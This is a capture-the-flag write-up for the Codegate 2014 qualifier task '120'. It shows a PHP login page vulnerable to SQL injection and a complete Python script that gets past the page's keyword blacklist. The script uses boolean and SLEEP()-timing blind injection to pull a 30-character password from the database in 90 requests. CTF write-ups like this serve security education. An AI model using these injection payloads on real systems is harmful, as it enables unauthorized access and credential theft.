Codegate 2014 Quals: 120

From Codegate 2014 quals comes “120”. Provided is a web interface with a single text box and a link to the source, reproduced below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!php
<?php
session_start();

$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
{
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    if(ctype_lower($t)){
    $randstring .= $t;
    }
  }
  return $randstring;
}

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', ".
      "'$_SESSION[password]')";
  @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

if ( $_POST['password'] ){
  
  if (eregi("replace|load|information|union|select|from|where|" .
    "limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

  $query = "select * from rms_120_pw where ".
    "(ip='$_SERVER[REMOTE_ADDR]') and " .
    "(password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}

@mysql_close($link);
?>

<head>
<link rel="stylesheet" type="text/css" href="black.css">
</head>

<form method=post action=index.php>
  <h1> <?= $left_count ?> times left </h1>
  <div class="inset">
  <p>
    <label for="password">PASSWORD</label>
    <input type="password" name="password" id="password" >
  </p>
  </div>
  <p class="p-container">
    <span onclick=location.href="auth.php"> Auth </span>
    <input type="submit" value="Check">
  </p>
</form>

The TL;DR of this code is that it uses your PHP session to store a 30 character lowercase letter token, and a counter of how many tries you’ve made against it. You’re given 120 total tries, then a new code will be generated, meaning any data you’ve been able to glean is useless. For what it’s worth, not all letters are equally likely – the source of the data is Aleph One’s “Smashing the Stack for Fun and Profit.” The code contains a blacklist to protect against certain types of SQL injection, but certainly doesn’t cover all SQL injection possibilities.

So let’s do some math. Clearly, trying all possible passwords is out of the question at 2630 possibilities. With the SQL injection, we could try each character separately, using SUBSTR, but that still leaves us with 26*30 (780) possibilities, well more than the 120 we have to work with. What about probabalistically trying the letters in the order of their frequency in the source document. It turns out the letter distribution still requires ~8 tries per letter, meaning we can only get ~13 letters in our 120 tries, or would need 240 tries for the whole passphrase.

Let’s consider that our character set is all lower case letters – how much possible entropy is there? Well, only the lowest 5 bits vary among lower case ASCII letters. So, if we do a bitwise test, we only need 5*30 = 150 tests, but 150 is still too many. If only we could test 2 bits at a time, then we’d only need (ideally) 75 tries. How can we do that when the only signal we get back is a True/False value? Well, we must consider side channels – such as timing. Merely measuring the timing of 2 bit comparisons is not significant enough to cover for network/server variance, but if we could conditionally introduce additional latency, we could use that as a signal. Fortunately, SQL offers us a sleep() function that we can use to introduce this latency and help us take measurements, but how to introduce it conditionally?

Note that the sleep() function returns a false-equivalent value when it completes. Consider the statement ((A AND SLEEP(3)) OR B). This is the truth table for the statement:

ABTimeOutput
FF<3 sF
TF>3 sF
FT<3 sT
TT>3 sT

As can be seen, the value of A controls the timing, and the value of B controls the output. To read a single bit, we can use a construct like ASCII(SUBSTR(password, N, 1)) & 1 << p. This checks if the p-th bit in the N-th byte is set. Collectively, this gives us the ability to read 2 bits with a single request. To break up the bits we need to read, it’s most straightforward to read 1 bit by itself, then 2 pairs of 2 bits from each character. Though suboptimal, it makes implementation straightforward, and still only requires 3 requests per byte, or 90 requests total.

Putting it all together, we get the following code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!python
import urllib
import urllib2
import cookielib
import sys
import time

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

cookies_printed = False

def inject(pw):
  global cookies_printed
  data = urllib.urlencode({'password': pw})
  req = opener.open(
      'http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/'
      'index.php', data)
  if not cookies_printed:
    for c in cj:
      print c
    cookies_printed = True
  return req.read().strip() == 'True'

def stdinject(cond):
  return inject("' OR %s OR 'x'='" % cond)

def indexmatch(pos, val):
  # Convert 0-indexed to 1-indexed
  substr = 'SUBSTRING(password, %d, 1)' % (pos+1)
  return stdinject(substr + ("='%s'" % val))

def twobitchar(pos):
  bits = [0]*5
  substr = 'SUBSTRING(password, %d, 1)' % (pos+1)
  # test top most bit
  if stdinject('ASCII(%s) & %d' % (substr, 1 << 4)):
    bits[4] = 1

  def twobittest(lower):
    # (bit(1) and sleep(3)) or bit(2)
    # time indicate bit(1)
    # truth indicates bit(2)
    sleep_time = 3
    start_time = time.time()
    ascii_str = 'ASCII(%s)' % substr
    if stdinject('((%s & %d AND SLEEP(%d)) OR %s & %d)' % (
      ascii_str, 1 << (lower+1), sleep_time, ascii_str, 1 << lower)):
      bits[lower] = 1
    stop_time = time.time()
    if (stop_time - start_time) > sleep_time:
      bits[lower+1] = 1

  # test next 2 bits
  twobittest(2)
  # test last 2 bits
  twobittest(0)

  # reassemble bits
  return chr(int('0b11' + ''.join('%d' % b for b in reversed(bits)),2))

def runtwobit():
  passwd = ''
  for c in xrange(30):
    passwd += twobitchar(c)
    print '[%d] %s' % (c, passwd[-1])
  if inject(passwd):
    print passwd
  else:
    print 'Validation failed!'

runtwobit()

Note the need for special treatment for the HTTP requests – since PHP sessions are in use, we need to provide a CookieJar and output the cookie value so we can use both the session and the password to exchange for our flag and get our points.